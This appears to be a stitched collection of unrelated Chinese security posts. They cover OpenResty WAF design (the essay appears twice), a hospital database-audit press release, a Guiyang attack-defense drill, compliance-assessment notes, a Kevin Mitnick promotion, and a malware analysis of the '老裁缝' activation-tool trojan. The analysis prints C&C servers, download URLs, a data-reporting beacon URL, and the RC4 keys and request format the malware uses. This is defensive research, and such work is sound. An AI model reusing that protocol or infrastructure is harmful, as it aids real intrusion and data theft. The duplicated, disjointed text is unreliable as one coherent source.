基于Openresty构建的服务日益受欢迎, WAF作为一个典型的上的应用,在过去的一段时间内经常在社区和人们的视野中出现。这些应用都会涉及到一些共通性的问题,和底层有关的比如性能问题,和基础服务有关的比如Openresty提供的API,和应用业务有关的比如地策略规则的问题,和验证有关的大数据日志存储,展开具体说一下相关内容。

1.基于正则的匹配。

防火墙系统核心的一个功能就是策略相关的威胁检索引擎,因为WAF是7层的应用,直接针对的HTTP协议的数据,基于正则的检索引擎主要考底层的库来支持,目前来看这库主要是二种,一种是LUA本身支持的一种正侧,像Loveshell系的WAF用的都是这种正则表达式在规则定义中,另外一种就是典型的PCRE标谁库。 基于正则的检索本身是很耗费资源的,要想实质性的优化这部分的性能,首先把控本身代码的效率,使用列符合jit凡是的代码,但最主要的性能改善,主要还是要靠正则库本身的效率的提升级。最近比较值得关注的不是社区的基于大型流数据正则检索引擎sregex。如果lua本身的执行效率特高了,正则引擎的效率都提高了,WAF的本身也就提高了。

SREGEX

2.配置规则下发。

云WAF这种部署型式基本上使用的是集群的方式。集群多少都要与负载均衡对接,涉及到规则文件下发的问题,一般情况如果规则缓存在共享字典中在,是不需要重起nginx服务的,只有个修改了conf本身才会涉及到重起nginx服务的问题。传统的做法是定时器定时的刷新规则文本和或是mysql数据库,来刷新新产生部署下规则,这样规则被存在中心服务器当中心定时拉取。 随着Openrest+这种服务出现,基于之上的服务器,服务器集群的下发可能将采取长链接的形式,主控服务器与结点之间维持长链接通信,发布后会以很快的速度到达结点服务器,这是与之前的传统的服务有很大不同的地方。如果你只是想注意力放到你的业务上,而不是业务规则的实现上,或是更高的追求:“让人类专注于表达和管理业务领域的知识”。 

最新版的Openresty支持HTTP流量镜像,我们可以从7层支持复制流量到监控机上,这样结点就可以直接用数据中心结点取数据,不影响中断业务,但是这样没有做到去中心化问题。

3.策略规则描述语言发生改变。

传统基于Nginx+lua、Openresty这种WAF的策略规则,有的基于简单文本的正则,有的是基于JSON形式存储的规则语言语议表达。最初基于文本的都是文本文件分类的规则分组,不同的文件分组不同的策略,有的简单的正则,有的是定义了策略和相应响应执行动作的定义。 JSON形式存储的语义更丰富,想存什么和业务有关的数据都可以自由的想象。之前规则多数是一种策略规则数据的定义,策略规则的定义和命中响应的动作内容是定义在一起的,策略定义和策略命中后具体实际执行的动作是分开的,数据定义只是一个数据结构,不是一个程序或DSL,把数据结构的定义和对数据结构的操作放在一起,经过编译或是解释翻译,还是作为LUA程序的输入存在。如果将策略有一种和业务相关DSL来描述, 这样的抽象程度更好, DSL更像一个小型的高级语言,DSL小型的领务业务语言更适合,更接近人思维的自然语言。并且小语言和策略有一个区分的标志是小语言可以上下文中存在变量的定义和通过变量传统状态。用一个策略规则影响另外一个策略规则的执行。

4.大数据协查与验证。

WAF进行实时的拦截,是针对HTTP实进请求过程中的数据包进行分析的,而基于大数据分析WAF是基于流量日志的。基于Openresty+LUA的WAF看到的是实时7层HTTP流量监听,而大数据分析是将Nginx、Openresty这种WEB的服务流地存储,用KafkaCat、RESTY-Kafka、RESTY-ElasticSearch这些日志数据的进行汇总放到队列上,或是采用分光、VSS等流量镜像的方式从网络层获取7层的数据,然后进行并行集中分析存处理,这种模式的好处是不影响服务的响应,基础服务的构建成本,需要人维护ZK、kafka、这些服务组件。在拦截上执行上,可用iptable或是nginx+lua只拦截不分析的模式,进行攻击拦截。并行处理虽然有延时,但还是相对准实时,间隔时间短的发现威胁。日志分析是基于统计算法的,即使是深度学习,也是要积累数据。

【不支持外链图片,请上传图片或单独粘贴图片】1

1_splunk.png

如果想降低整体系的运维成本,可以使用打包的开源方案,或是企业方案。日志汇聚典型的开源工具是graylog,与其对应的商用产品就是 splunk,graylog本身也有商业企业版,提供更好的服务。使用体验上和ELK像,整体模式,还是先流量监听,数据收集,集中分析,威胁情报,威胁策略关联配对,威胁可视化这些内容,并且他们可以集成其它产品作再次的分析,比如splunk可以读取tenable的pvs事件,或是Paloalto等推送的威胁。在应用管理上splunk这种商业产品就要比graylog的使用体验上要好一些。Graylog本身提供kakfa、mongodb、ES集群这些服务的整合,提供Rest API服务接口,提供日志收集终端。可以自己通过调用接口与echarts进行可视化展示,也可以用granfana这些工具进行联动展示。

【不支持外链图片,请上传图片或单独粘贴图片】2

2_graylog.png

说了这些和WAF有什么关系呢?如何验证WAF是否有效,如何进行误报率和漏报率的统计呢? 轻则pcap流量,重则日志落体存储,如何统计某时间段IP的TOP10流理排名呢?日志统计可以做到,就用日志用统计,然后呢?然后针对某些特征做拦截,做限速,做定时封禁。更理想的状态时,这种流量的统计直接在WAF算出TopX,然后对TopX的IP流理大户进行判断,如果这范围之内发现可疑IP,就用这一组群的IP进行限速。

【不支持外链图片,请上传图片或单独粘贴图片】3

3_dataflow.png

5.常见威胁处理案例

5-1.影子蜜罐:我们再次提到了这个系统,在XWAF中 有一种工作模式叫做精华水月模式,就是利用WAF和蜜罐系统,当发现时威胁攻击时,直接将流量引到蜜罐上收集攻击的服务。

如果命名用LUA来这段策略叫配置修改conf文件,还要对应写出切换upstream的逻辑,如果用DSL描述这个策略:

uri contains “SQL”=>

set-upstream(‘HoneyPot_1′);

req-header(“Content-Type”) contains “multipart/form-data”,

req-header(“Content-Type”) !contains rx{^multipart/form-data[\s\S]+} =>

waf-mark-evil(message: “CVE-2017-5638 Struts”, level: “super”),

set-upstream(‘HoneyPot_2′);

【不支持外链图片,请上传图片或单独粘贴图片】4

4_honeypot.png

5-2 CC防护

【不支持外链图片,请上传图片或单独粘贴图片】5

5_cc_js.jpeg

如是用传统的JS也可以对这个某些用户和IP进行限速,如果用 edge描述这个策略:

这个是限制请求速度,以及返回数据的速度,里面包括了 IP 和是否移动端的判断:

uri(“/shop”), client-province(‘Guangdong’),

ua-is-mobile() =>

limit-req-rate(key: client-addr, target-rate: 5 [r/s], reject-rate: 10 [r/s]), limit-resp-data-rate(441 [mB/s]);

延迟返回

uri(“/shop”), client-country(“US”) =>

limit-req-rate(key: client-addr, target-rate: 5 [r/s], reject-rate: 10 [r/s]), sleep(0.5);

6.总结

我们结合流量监听、日志汇聚分析、edge 小语言的结合使用,使用的部分的开源解决方案,来解决的具体问题,比较传统的与传统基于纯lua的waf的区别,提到了最新nginx-mirror,规则下发同步问题, honeypot的联合影子系统, 这里最主要的差异是DSL高度抽象了业务,让安全人员更多的关注策略表达,而不是代码更大的lua实现,和要考虑到各种配置的七层HTTP操作,解放了一部分生产力,提高了效率。如果openresty本身提供了流量度量,WAF集群又可以脱离日志分析中心,直接参于CC防护,作为防护算法的一部分,有一些列高级的功能还没在社区的开发中,因为底层服务的改变,基于openresty、nginx的WAF设计也会随着时间和新特性的加入,而继续发生变革。

  近日,又一重磅消息传来。昂楷科技与北京协和医院成功签约,昂楷数据库审计系统将为协和医院Caché数据库打造安全堡垒,守护核心敏感数据。

       协和医院积极探索医疗信息化  

  北京协和医院是集医疗、教学、科研于一体的全国最知名的大型三级甲等综合医院,是国家卫生计生委指定的全国疑难重症诊治指导中心,以学科齐全、技术力量雄厚、特色专科突出、多学科综合优势强大享誉海内外。在2009-2016年度复旦大学医院管理研究所公布的“中国最佳医院排行榜”中连续八年名列榜首。

snipaste_20171130_182424.jpg

  ▲北京协和医院门诊大楼

  北京协和医院的医学实力毋庸置疑,而在医疗信息化建设上,协和医院也未落下功课。2010年至2011年,协和医院投入6000万,按照国家B级标准,建设了全国最大的1900平方米的数据中心,完成了全院信息基础设施的重建和升级改造工作,信息化水平位居国内同行业一流水平。协和医院的信息系统覆盖面广,业务多样,其复杂程度远超出其它医院。

  北京协和医院是国内较早一批探索与实践医院管理信息化的排头兵,采用的是东华的HIS系统,以大型Caché数据库系统为基础平台,数据库是医院医疗信息数据管理的重要基础设施。医院检验科管理系统(LIS系统)、电子病历系统、财务管理系统、医学影像信息系统(PACS系统)等都依赖于HIS系统以保证正常运行,而作为其基础的数据库系统就显得尤为重要。

  协和医院床位2000余张,单日最高门诊量约1.73万人次、年出院病人约9.5万余人次。在医院各项业务迅速扩展的同时,数据安全问题也日益突出。医院内部的病人隐私信息、医生用药信息等信息对整个医疗产业链如医药公司、广告、中介、保险等行业都具有重要的价值。但目前核心数据仍缺乏有效的安全管控手段,若出现数据泄密事件,将缺乏有效的手段进行事后责任认定,给医院的数据安全埋下“定时炸弹”。

       调研半年  没能做到Caché数据库的全面审计

  协和医院早在两年前就有意向部署数据库审计系统,调研了长达半年的时间,测试过业内多家知名厂商,但审计效果都未达到院方预期:一是无法对Caché数据库中的M语言进行解析。由于后关系型数据库实际应用时间较短,技术门槛高,市面上的个别产品虽然也号称支持Caché数据库,但更多是只能做到对sql语句的解析,对M语言的审计支持不深入,无法对M语言进行解析;二是无法全面解析应用层账号,无法精准定位到人,做不到全面审计。

微信图片_20171130183500.jpg

▲昂楷科技数据库审计系统至今仍是Caché的唯一全面支持者

  由于Caché数据结构的改变,在性能上要比传统的结构型数据库高约30倍,数据结构复杂多样。要真正做到对Caché数据库的审计,需审计到Sqlmanager等第三方工具通过ODBC连接方式对数据库的访问,以及Caché数据库集成的Terminal、Portal、Studio、MedTrak等客户端工具及应用系统对Caché数据库的访问。

       携手昂楷科技  构筑医患数据信息安全堡垒

  昂楷科技充分研究Caché数据库架构,设计研发出基于后关系型数据库的数据库审计系统,首创了Caché数据库的M语言解析和审计技术,解决了面向对象的M语言安全审计问题,至今仍是Caché的唯一全面支持者。

  昂楷通过DPI+DFI的技术,能够对Caché数据库的各种访问形式,产生的各种形态的报文格式进行正确识别,实现了针对包括 HIS 系统管理员账户在内的所有账户对数据库访问的全面监测审计,可以审计到直接进入数据库系统或通过中间件应用服务器进入数据库系统的访问。一旦发生医患数据外泄,医院能够在第一时间找到外泄人员、操作手段、使用工具等。

  在了解到这一情况后,北京协和医院的院方代表参观了北京安贞医院昂楷数据库审计设备的运行情况,现场进行了系统演示。协和医院信息化负责人对昂楷数据库审计系统的审计效果非常满意,经充分考察与对比,最终选择昂楷科技作为合作伙伴。

  昂楷科技与北京协和医院的此次合作,标志着昂楷数据库审计系统的成熟度和稳定性达到了新的高度。昂楷科技能够为安全性要求最为严苛的全国排名第一的协和医院提供数据库安全保护,充分体现了昂楷在该领域的技术积累和技术领先。

基于Openresty构建的服务日益受欢迎, WAF作为一个典型的上的应用,在过去的一段时间内经常在社区和人们的视野中出现。这些应用都会涉及到一些共通性的问题,和底层有关的比如性能问题,和基础服务有关的比如Openresty提供的API,和应用业务有关的比如地策略规则的问题,和验证有关的大数据日志存储,展开具体说一下相关内容。

1.基于正则的匹配。

防火墙系统核心的一个功能就是策略相关的威胁检索引擎,因为WAF是7层的应用,直接针对的HTTP协议的数据,基于正则的检索引擎主要考底层的库来支持,目前来看这库主要是二种,一种是LUA本身支持的一种正侧,像Loveshell系的WAF用的都是这种正则表达式在规则定义中,另外一种就是典型的PCRE标谁库。 基于正则的检索本身是很耗费资源的,要想实质性的优化这部分的性能,首先把控本身代码的效率,使用列符合jit凡是的代码,但最主要的性能改善,主要还是要靠正则库本身的效率的提升级。最近比较值得关注的不是社区的基于大型流数据正则检索引擎sregex。如果lua本身的执行效率特高了,正则引擎的效率都提高了,WAF的本身也就提高了。

SREGEX

2.配置规则下发。

云WAF这种部署型式基本上使用的是集群的方式。集群多少都要与负载均衡对接,涉及到规则文件下发的问题,一般情况如果规则缓存在共享字典中在,是不需要重起nginx服务的,只有个修改了conf本身才会涉及到重起nginx服务的问题。传统的做法是定时器定时的刷新规则文本和或是mysql数据库,来刷新新产生部署下规则,这样规则被存在中心服务器当中心定时拉取。 随着Openrest+这种服务出现,基于之上的服务器,服务器集群的下发可能将采取长链接的形式,主控服务器与结点之间维持长链接通信,发布后会以很快的速度到达结点服务器,这是与之前的传统的服务有很大不同的地方。如果你只是想注意力放到你的业务上,而不是业务规则的实现上,或是更高的追求:“让人类专注于表达和管理业务领域的知识”。 

最新版的Openresty支持HTTP流量镜像,我们可以从7层支持复制流量到监控机上,这样结点就可以直接用数据中心结点取数据,不影响中断业务,但是这样没有做到去中心化问题。

3.策略规则描述语言发生改变。

传统基于Nginx+lua、Openresty这种WAF的策略规则,有的基于简单文本的正则,有的是基于JSON形式存储的规则语言语议表达。最初基于文本的都是文本文件分类的规则分组,不同的文件分组不同的策略,有的简单的正则,有的是定义了策略和相应响应执行动作的定义。 JSON形式存储的语义更丰富,想存什么和业务有关的数据都可以自由的想象。之前规则多数是一种策略规则数据的定义,策略规则的定义和命中响应的动作内容是定义在一起的,策略定义和策略命中后具体实际执行的动作是分开的,数据定义只是一个数据结构,不是一个程序或DSL,把数据结构的定义和对数据结构的操作放在一起,经过编译或是解释翻译,还是作为LUA程序的输入存在。如果将策略有一种和业务相关DSL来描述, 这样的抽象程度更好, DSL更像一个小型的高级语言,DSL小型的领务业务语言更适合,更接近人思维的自然语言。并且小语言和策略有一个区分的标志是小语言可以上下文中存在变量的定义和通过变量传统状态。用一个策略规则影响另外一个策略规则的执行。

4.大数据协查与验证。

WAF进行实时的拦截,是针对HTTP实进请求过程中的数据包进行分析的,而基于大数据分析WAF是基于流量日志的。基于Openresty+LUA的WAF看到的是实时7层HTTP流量监听,而大数据分析是将Nginx、Openresty这种WEB的服务流地存储,用KafkaCat、RESTY-Kafka、RESTY-ElasticSearch这些日志数据的进行汇总放到队列上,或是采用分光、VSS等流量镜像的方式从网络层获取7层的数据,然后进行并行集中分析存处理,这种模式的好处是不影响服务的响应,基础服务的构建成本,需要人维护ZK、kafka、这些服务组件。在拦截上执行上,可用iptable或是nginx+lua只拦截不分析的模式,进行攻击拦截。并行处理虽然有延时,但还是相对准实时,间隔时间短的发现威胁。日志分析是基于统计算法的,即使是深度学习,也是要积累数据。

【不支持外链图片,请上传图片或单独粘贴图片】1

1_splunk.png

如果想降低整体系的运维成本,可以使用打包的开源方案,或是企业方案。日志汇聚典型的开源工具是graylog,与其对应的商用产品就是 splunk,graylog本身也有商业企业版,提供更好的服务。使用体验上和ELK像,整体模式,还是先流量监听,数据收集,集中分析,威胁情报,威胁策略关联配对,威胁可视化这些内容,并且他们可以集成其它产品作再次的分析,比如splunk可以读取tenable的pvs事件,或是Paloalto等推送的威胁。在应用管理上splunk这种商业产品就要比graylog的使用体验上要好一些。Graylog本身提供kakfa、mongodb、ES集群这些服务的整合,提供Rest API服务接口,提供日志收集终端。可以自己通过调用接口与echarts进行可视化展示,也可以用granfana这些工具进行联动展示。

【不支持外链图片,请上传图片或单独粘贴图片】2

2_graylog.png

说了这些和WAF有什么关系呢?如何验证WAF是否有效,如何进行误报率和漏报率的统计呢? 轻则pcap流量,重则日志落体存储,如何统计某时间段IP的TOP10流理排名呢?日志统计可以做到,就用日志用统计,然后呢?然后针对某些特征做拦截,做限速,做定时封禁。更理想的状态时,这种流量的统计直接在WAF算出TopX,然后对TopX的IP流理大户进行判断,如果这范围之内发现可疑IP,就用这一组群的IP进行限速。

【不支持外链图片,请上传图片或单独粘贴图片】3

3_dataflow.png

5.常见威胁处理案例

5-1.影子蜜罐:我们再次提到了这个系统,在XWAF中 有一种工作模式叫做精华水月模式,就是利用WAF和蜜罐系统,当发现时威胁攻击时,直接将流量引到蜜罐上收集攻击的服务。

如果命名用LUA来这段策略叫配置修改conf文件,还要对应写出切换upstream的逻辑,如果用DSL描述这个策略:

uri contains “SQL”=>

set-upstream(‘HoneyPot_1′);

req-header(“Content-Type”) contains “multipart/form-data”,

req-header(“Content-Type”) !contains rx{^multipart/form-data[\s\S]+} =>

waf-mark-evil(message: “CVE-2017-5638 Struts”, level: “super”),

set-upstream(‘HoneyPot_2′);

【不支持外链图片,请上传图片或单独粘贴图片】4

4_honeypot.png

5-2 CC防护

【不支持外链图片,请上传图片或单独粘贴图片】5

5_cc_js.jpeg

如是用传统的JS也可以对这个某些用户和IP进行限速,如果用 edge描述这个策略:

这个是限制请求速度,以及返回数据的速度,里面包括了 IP 和是否移动端的判断:

uri(“/shop”), client-province(‘Guangdong’),

ua-is-mobile() =>

limit-req-rate(key: client-addr, target-rate: 5 [r/s], reject-rate: 10 [r/s]), limit-resp-data-rate(441 [mB/s]);

延迟返回

uri(“/shop”), client-country(“US”) =>

limit-req-rate(key: client-addr, target-rate: 5 [r/s], reject-rate: 10 [r/s]), sleep(0.5);

6.总结

我们结合流量监听、日志汇聚分析、edge 小语言的结合使用,使用的部分的开源解决方案,来解决的具体问题,比较传统的与传统基于纯lua的waf的区别,提到了最新nginx-mirror,规则下发同步问题, honeypot的联合影子系统, 这里最主要的差异是DSL高度抽象了业务,让安全人员更多的关注策略表达,而不是代码更大的lua实现,和要考虑到各种配置的七层HTTP操作,解放了一部分生产力,提高了效率。如果openresty本身提供了流量度量,WAF集群又可以脱离日志分析中心,直接参于CC防护,作为防护算法的一部分,有一些列高级的功能还没在社区的开发中,因为底层服务的改变,基于openresty、nginx的WAF设计也会随着时间和新特性的加入,而继续发生变革。

以“共建安全生态,共享数据未来”为主题的2017贵阳大数据与网络安全攻防演练活动,于2017年11月在贵阳大数据安全产业园隆重召开。悬镜安全团队作为受邀团队全程参与本次网络安全攻防演练。为了配合公安部的工作,不辜负领导对悬镜的期望,悬镜团队在安全业务繁忙,团队超负荷工作的情况下,依旧抽调出了一支以经验丰富的95后队员为主力的团队参赛第一时间奔赴演练现场,参与本次攻防演练活动。最终,年轻的团队不负众望,取得成果类三等奖的优秀成绩,圆满完成了演练任务。

悬镜安全团队作为本次市级大规模攻防演练活动的攻击方,在公安部的指导下,力求本次攻防演练取得实效。本次参赛的成员主力均为团队中的95后白帽子。他们虽然是悬镜安全团队中最年轻的力量,却有着不可估量的前途和实力。

01.png

据了解,本次演练活动实施拉锯式攻防,加大了攻防纵深,验证多种安全产品与防御技术的实际效果,提升了演练的表现力。在真实网络环境中,针对真实目标的大数据与网络安全攻防演练。主要目标限定在贵阳市行政辖区范围内的网站、在线信息系统、工控系统及其他专用系统,紧紧围绕国家大数据发展战略和省、市大数据发展决策部署,全面提升大数据及网络安全能力和水平。突出“攻防演练走出去”和“智能攻防”两大特色,提升贵阳在全国大数据及网络安全领域的知名度和影响力,实现人民群众安心、党委政府放心,百姓受教育、产业得发展的目标,推动国家大数据(贵州)综合试验区和“全国大数据及网络安全示范试点城市”建设。

 02.png

 

颁奖仪式现场

 本次攻防演练在坚持去年原则的基础上,进一步丰富和突出以下六方面:

1.安全可控原则。

2.真实对抗原则。

3.迭代演进原则。

4.聚焦数据原则。

5.合作共享原则。

6.产业沉淀原则。

 

并统一由活动指挥部办公室与公安、工信、通信管理等相关部门确定攻击目标,并且所有纳入安全演练范围的测试目标必须获得公安机关授权。

 03.png

在活动中,悬镜安全团队表现出了青年一代的积极认真的工作态度,勤勉好学的优良品质。在活动中,不断用实战磨砺自己的攻防技术水平,展示了悬镜人踏实、可靠的业务素质。 


04.png

经过这次实战演练,悬镜安全进一步积累了基于对大量网络与大数据应用的目标展开攻击与防护的经验,结合悬镜安全的(云+端)一站式安全加固防护策略,不断对悬镜安全服务进行迭代升级,坚持为开发商、政府、高校、互联网金融等各行业客户提供专业信息安全解决方案。

4.jpg 

十一月在忙公司今年的等保事项,三级系统要求每年完成一次测评嘛。2017年马上要结束了,公司几个三级系统的测评还没做完,时间还是蛮紧张的。这次总共完成一个二级新系统的测评,两个三级系统的测评,和一个新的云上三级系统的备案+测评,感觉基本把所有情况都接触到了吧。

我可能更多是从甲方对接人的角度来说这件事情,具体的测评细节,毕竟不是测评工程师,会很多说不清楚的。

这次采购的测评机构为本行业的信息安全中心,由部委牵头成立的那种,成立的时间还不长。以后是不是每个行业都会由官方牵头成立信息安全测评机构了?也满足《网络安全法》对于行业组织的要求。

测评项主要包括几类 网络、主机、数据库、应用、物理、管理、系统。

大概的流程:

先说备案

1 新的云上三级系统首先要开定级评审会,不是你想定三级就能定三级。由测评机构帮忙请了三位专家参加定级评审会。大概就是介绍一下系统基本功能,结合定级指南矩阵图说明该系统需要定为三级,专家组表示同意后,出具评审意见,该系统定为三级。

2 携带等级保护备案表、定级报告、信息安全承诺书,并刻成光盘。于定级日期30日内,至当地网安部门进行备案。

3 梳理资产、了解每个系统的应用服务器、数据库服务器等等共有多少台,以及他们的网络拓扑图,和网络设备及安全设备的部署状况。

4 查看网络设备及安全设备的策略。

5 分别对每个系统的主机、数据库、系统、应用进行访谈及测试。

5.1 抽查主机、数据库,由测评人员登陆该系统服务器查看其各项安全配置。记录配置信息,对比三级要求。

5.2 访谈系统管理员,了解该系统安全功能设计。比如密码强度策略、权限管理策列、登陆超时策略等等。

5.3 对该系统应用进行渗透测试、漏洞扫描。

6 查看机房屋里环境,防水防电防盗防火等等。云上系统,直接提供云服务商的测评报告。

7 查看公司各项信息安全管理制度,对安全管理人员进行访谈,与三级管理标准进行对比。

8 之后由测评机构出具差距分析报告(我还没进行到这步) 我们进行整改。整改后请测评机构对不合格的地方进行复查,合格后出具等保测评报告。

9 在拿到测评报告30日内,至当地网安部门提交测评报告。

OVER

还没做完,大概先说个流水账。

下周去参加一个ISO27000的培训(蹭课) 以前说过对合规还挺感兴趣的 去学学看。

他曾一度是“黑客”的代名词——

      15岁,仅凭借一台电脑和一部老式的调制解调器,他就成功入侵了北美防空司令部的防务指挥系统,翻遍美国指向前苏联及其盟国的所有核弹头数据资料!

      你无法想象FBI 执行逮捕,却看到对象是个未满16岁的毛头小子时候的表情!

      苹果、微软、诺基亚…甚至连圣迭戈的超级计算机中心都成了他的目标。在当时造成超过4亿美元的经济损失!

      五角大楼、中央情报局、美国国家税务局、纽约花旗银行…这些配有铜墙铁壁一般防守的网络系统,却都成了他的“游乐园”!

      三次被通缉!美国司法部曾将其称为“美国历史上被通缉的头号计算机罪犯”!对他技术的恐惧一度支配着美国司法部门,他们甚至不得不勒令他在缓刑期内不得接触任何数码设备!

2.jpg

      他的传奇生涯被翻拍成电影,《骇客追缉令》、《战争游戏》和《自由停工期》三部黑客电影的原型都是他,甚至连主角的名字都没换…

      最要命的是,「社会工程学」这个概念就是由他提出来的!

他是谁?

      他就是网络安全界响彻云霄的——Kevin Mitnick!

      被释放以后,他成立了一家安全公司,专为大企业做网络安全评估,他出版了好几本书,拥有自己的安全咨询公司,世界知名企业都找他做过安全咨询,一次咨询费高达数百万美元。

      如今的他是这样评价当年的自己:我现在做的事情,和送我入狱的事情几乎一样。只是,我得到了对方的授权。要用你的力量去做好事,而不是去作恶。

      你是否也跟春秋菌一样,想要了解:这位大佬在技术探索过程中曾遇到过什么挫折?登顶封神后的他,会如何回顾他的传奇一生?如今,他又会对新一代的网络安全从业者提出什么建议呢?

推荐1     点击学习,一同感受世界顶级大佬的魅力

推荐2    一起《从六个角度探讨人性漏洞》吧!

3.jpg

推荐更多社工学习资料1    <<<<<<

推荐更多社工学习资料2   社工学的终极秘密:看穿你的每一个决定     <<<<<<

一、前言

激活工具打着”激活成功率最高“,”完美激活各个版本的系统“的旗号,使得该类激活工具病毒在短时间之内大范围传播。最近金山毒霸实验室发现,一款名叫“老裁缝激活工具”,借助着”小马激活”的名字活跃在“系统之家”、”软件下载器”、“网盘”。

 

PS:因C&C通信服务器中包含laocaifeng字符串,所以通篇文章中,病毒名称以“老裁缝”命名。

 

 “老裁缝激活工具”从2015年就已经开始制作病毒,但是由于核心模块都是内存加载,文件不落地,从而很难被发现,”老裁缝激活工具” 会按照制作者的计划,通过云端规则下发任务的方式,对电商进行劫持,劫持的电商有京东,天猫、淘宝、唯品会、国美、蘑菇街。

另外“老裁缝激活工具”也会对自媒体视频进行播放量暗刷,视频网站包括优酷、PPTV、爱奇艺、搜狐几大站点。根据统计显示”老裁缝”进行暗刷的自媒体视频广告条目有208条,平均每一条视频总的访问量约在2.5W/访问量,最高的一条达57W/访问量。

二、样本分析


母体分析

1.png
图1:病毒行为流程图

 

当“老裁缝激活工具“的激活按钮被点击后,会联网请求去下载执行inst.exe (hxxp://xz.tujingdy.com:8001/Inst.exe),该文件是整个病毒的母体,然后请求访问hxxp://xz.tujingdy.com/rule.lce去下载rule.lce并解密文件。rule.lce是一个自定义文件格式的“模块包集合”,接下来inst.exe对rule.lce文件结构偏移进行读取,解析并解密出PE文件,解密完后的PE文件会进行CRC值校验,如果校验无误则释放成文件到%ProgramData%\LCFApp目录下,自定义格式如下:

2.png

图2:rule.lce文件结构

 

“模块包”包含8个文件(驱动,配置文件,升级模块等,版本覆盖x86和x64):

文件名 功能说明 版本
LCFGuard.sys 注入系统进程、文件过滤、注册表过滤 x86
LCFGuard64.sys 注入系统进程、文件过滤、注册表过滤 x64
LCFInst.dll 被注入winlogon的dll模块用于自更新 x86
LCFInst64.dll 被注入winlogon的dll模块用于自更新 x64
loader_32.dll 被注入到explorer用于劫持浏览器 x86
loader_64.dll 被注入到explorer用于劫持浏览器 x64
rule.mpc 主页、浏览器进程配置文件
rule 文件配置信息

        

根据不同版本的系统,从rule.lce中读取x86或者x64位驱动。然后以Vq开头的随机命名的方式生成驱动文件和创建注册表信息,最后把核心模块备份一份到注册表中。

键值 说明
LCF 老裁缝驱动文件
RRUL Rule.lce
RUI 所有文件名配置信息
RMP 浏览器劫持配置信息

 

3.png

图3:老裁缝注册表配置信息

 

浏览器劫持配置信息如下,病毒会将主页劫持到hxxp://www.2345.com/?k91340730

19.jpg

图4:劫持的浏览器和导航地址

 

5.最后将用户的信息进行上报统计

http://www.tujingdy.com/client/detail?main_channel=%s&child_channel=%s&event=%s&version=%s&guid=%s&params=%s&sign=%s

驱动分析


病毒驱动加载时,将自已挂到Fltmgr驱动的设备链表里,然后将自己的驱动对象从系统链表里给擦除掉,使得系统中的其他进程(如pchunter)在遍历系统驱动设备对象时无法找到该驱动,并且通过病毒驱动的设备(LCFGuard)找到的驱动也是Fltmgr,我们通过图5可以看到病毒驱动信息。由于此功能,使得分析人员在系统中较难发现该病毒驱动。

5.png

图5:过滤驱动将病毒重定向到FltMgr.sys

 

然后,病毒驱动会创建4个系统回调:注册表回调、进程回调、镜像回调、关机回调。

6.png

图6:病毒驱动注册的系统回调

 

1.注册表回调:隐藏自身注册表键值避免被“肉眼”发现。

2.关机回调&进程创建回调:当这两个回调函数被系统调用后,会枚举当前进程是否为winlogon.exe,如果是winlogon.exe,则会去注册表查找病毒驱动注册表是否完整,如果注册表中的键值被删除或者破坏将会读取%ProgramData%\ LCFApp目录下的文件并对注册表键值进行修复。

7.png

图:7 进程回调函数

 

3.镜像回调:作者目前未实现镜像回调函数。

8.png

图8:LoadImage回调函数

 

老裁缝驱动会根据rule.lce文件中的文件结构信息获取到要将哪些模块注入到winlogon和explorer中,注入部分使用了开源的BlackBone项目代码。如图9所示,老裁缝驱动中的shellcode代码和BlackBone完全一致。

9.png

图9:BlackBone项目代码

 

10.png

图10:被注入后的explorer和winlogon

 

病毒驱动与R3环通信的控制码说明:

控制码 功能说明
0×222000 读取老裁缝注册表RRUL键值恢复文件,并重新APC注入winlogon和explorer
0x2220C0 通过构造IRP的方式去删除文件

 

11.png

图11:如果通过 ZwDeleteFile删除失败,则通过自己构造IRP的方式去删除文件。

 

完成以上工作后,老裁缝驱动会绑定TDI设备,通过http协议将再次进行上报统计。

www.tujingdy.com /client/detail?main_channel=50000&child_channel=00001&event=status&version=87&guid=8FD58835A3A8586B&params={“OMV”:0×00000006,”OIV”:0×00000001,”OBN”:0x00001DB0,”OSP”:0×00000000,”LBV”:0×00000008,”LDO”:0×00000000,”LPN”:0×00000000,”LSN”:0×00000000,”LLI”:0×00000000,”LRC”:0×00000000,”LIN”:0×00000000,”LMS”:0×00000000,”LFP”:0×00000000,”LIRD”:0xC0000002,”LRDT”:0xC000004B,”LRD”:0×00000000,”LIRT”:0xC000004B,”LIR”:0×00000000,”LRV”:0×00000057,”LRU”:0×00000055,”LIDT”:0xC000004B,”LID”:0×00000000,”LCS”:0×00000000,”LNS”:0xC0000002,”LNST”:0xC0000002,”LDF”:0xC0000002,”LDST”:0×00000000,”LHP”:0xC0000002,”LCD”:0×00000000,”LIC”:0×00000000}&sign=f2e73b563c5d8fce1cc1d171898e0a4d

 

12.png

图12:直接在驱动中进行上报统计

 

3、Loader分析

Loader.dll是通过驱动层被注入到explorer.exe中的,该模块主要负责向服务器发送mac、channel、tag等信息,服务器端根据这些信息相应的返回不同的渠道的xml配置,根据目前发现的来看一共有9个不同的渠道,每个渠道的任务大致相同。我们对几个不同版本、渠道号的老裁缝任务进行了分析,整理了出以下C&C通信服务器地址

C&C 服务器地址 说明
laocaifengxitong.cc:8746 下载模块功能配置文件
hxxp://rl1.w7q.net/Api/Index/index/code/ 下载模块功能配置文件
hxxp://capi.w7q.net/index.php/get_task/0107/ 任务配置文件任务号从0101~0109

 

13.png

图13:任务下发逻辑示意图

 

首先,会将mac=000C29C5B50E&sys=32&channel=0101&tag=20150714以rc4 算法加密(key =rtLgHdkP3ArnlIk4), 然后再经过2次base64编码转换将最终加密后的参数与C&C通信服务器地址进行字符串拼接,发往服务端,服务端收到请求后返回的配置文件。如图14:

14.jpg

图14:自定义的tlv下载协议

 

服务器返回的xml配置文件经过RC4算法加密,密钥为:t^%^mbVuKT]lWf$J。解密后的配置文件中包含模块文件(电商劫持模块、傀儡进程、广告刷量)下载连接,选择磁盘存储还是内存加载、文件MD5,是否注入等信息。如图15:

15.jpg

图15:解密后的xml配置文件

 

接下来病毒会根据xml中的res 字段去下载另外的任务模块。

16.jpg

图16:任务模块下载数据包

 

下载的数据保存到注册表HKCU\Software\Microsoft\Windows Media\componentx下:

17.jpg

图17:注册表中保存解密前的任务模块

经rc4解密得到fake_svchost.exe, md5为e3ad53da1032df55f26c51e7bfe0584b。

fake_svchost.exe也是一个loader,会根据硬编码链接下载任务模块。

下载连接:sap://dl.laocaifengxitong.cc:9090/brow/data7.1101

18.jpg

图18:fake_svchost.exe下载任务模块adshow.exe

